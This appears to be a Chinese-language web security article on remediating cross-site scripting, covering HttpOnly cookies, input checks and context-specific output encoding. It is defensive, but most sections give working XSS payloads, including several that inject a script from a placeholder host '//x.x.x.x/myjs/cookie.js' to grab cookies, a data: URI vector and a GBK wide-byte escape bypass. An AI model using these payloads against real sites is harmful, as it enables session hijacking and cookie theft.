【XSS】修复建议

本身XSS输出位置不同,且可构造的Payload很多,一般是从一下三个角度来修复。

httponly


一般谈到cookie时,所对应的安全配置有httponly和secure。

Httponly:为了防止设置了该标志的cookie被JavaScript读取。

Secure:只能通过HTTPS使用,确保在从客户机传输到服务器时,cookie总是被加密的。

Jboss中可以在content.xml中配置

<SessionCookie secure=”false” httpOnly=”true” />

使用alert(document.cookie),显示为空。

但并不是配置了Httponly就万无一失,例如apache漏洞,默认用于状态代码400的错误应答存在缺陷,当没有配置定制ErrorDocument时利用此缺陷攻击者可以获得”httpOnly” cookie信息。

 

输入检查


验证用户输入的数据类型,数据长度,数据内容

如果数据类型为整型,则使用intval强制转换变量类型。

如果用户输入是手机号,那么就需要判断是否是11位。

如果数据内容为邮箱,则应使用正则取A-Za-z0-9.@-_范围内的值,其它字符则忽略掉

 

输出编码


根据输出位置的不同,所对应的过滤规则也不通。下面看具体的输出环境。

1.HTML标签的普通属性中时,例如输出在value中。

<input id="a" value="{injecthere}">

这时候注入XSS代码可以使用

<input id="a" value="" onfocus=alert(1) autofocus>

引入外部JS

<input id="a" value="" onfocus=document.body.appendChild(document.createElement('script')).src='//x.x.x.x/myjs/cookie.js' autofocus>

或者

<input id="a" value=""><script>alert(1)</script>

引入外部JS

<input id="a" value=""><script src="//x.x.x.x/myjs/cookie.js"></script>

需要编码<、>、’、”、&

<  --> &lt;

>  --> &gt;

'  --> &#39;

"  --> &quot;

&  --> &amp;

在PHP中在输入时使用htmlspecialchars函数对变量过滤处理

PS:htmlspecialchars($a,ENT_QUOTES)默认不转义’,所以需要添加ENT_QUOTES参数

 

2、<script>标签中

<script>var x = "{injecthere}"</script>

这时候注入XSS代码可以使用

http://192.168.192.120/1.php?code=1';alert(1);//

引入外部JS

http://192.168.192.120/1.php?code=1';document.body.appendChild(document.createElement('script')).src='//x.x.x.x/myjs/cookie.js';//

修复建议:

整型变量直接使用intval处理,非整型变量使用addslashes函数处理,对’、”、\转义。

转义/是防止攻击者通过</script>闭合script标签。

上面的语句输出会变成这样var x = ‘1\’;alert(1);//’

但是这里需要注意宽字节的问题。来测试一下。

我们修改一下页面编码。去掉httpd.conf中的AddDefaultCharset UTF-8并重启httpd,页面添加<meta charset=”GB2312″/>。

然后看下输出<script>var x = ‘1羂’;alert(1);//'</script>,\成功被吃掉。

针对GBK这类的编码,需要将用户输入的’、”、\替换为空。

 

3、URL相关位置

这里分为两种情况,一种是部分控制

<a href="http://www.baidu.com/{injecthere}">Test</a>

可以引入JS事件

<a href="http://www.baidu.com/" onclick=alert(1) x="">Test</a>

修复建议:URLEncode处理。

另外一种是可以完全控制

<a href="{injecthere}">Test</a>

XSS攻击可以使用伪协议,例如:

<a href="javascript:alert(1)">Test</a>

或者使用data协议

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>

引入外部JS

<a href="javascript:s=document.createElement('script');s.src='//x.x.x.x/myjs/cookie.js',document.body.appendChild(s)">Test</a>

这种情况不能直接使用URLEncode处理,因为Http://中的冒号和斜杠也会被编码掉,导致无法正常跳转。

修复建议:判断是否https://、http://或者//开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击,在此之后再对变量进行URLEncode。

 

4、Jsonp返回

跨域调用中callback函数名可以自定义,可以将回调函数名修改为XSS语句。

修复建议:

Content-Type:application/json; charset=utf-8

 

5、富文本

本身富文本就是需要HTML解析的,如果编码成&lt;这种无法正常解析会影响功能使用。

修复建议:

设置白名单

一是对可以使用的html标签做白名单验证;

二是对白名单html标签可使用属性做白名单验证,如src,width等,并限制一些敏感关键字javascript、vbscript等。

 

6、UTF-7 XSS

修复建议:

1)配置默认编码,例如httpd.conf中

AddDefaultCharset UTF-8

2)针对Bom头,可以在返回网页内容最前面添加一个空格。针对Jsonp的话可以直接将Content-Type设置为application/json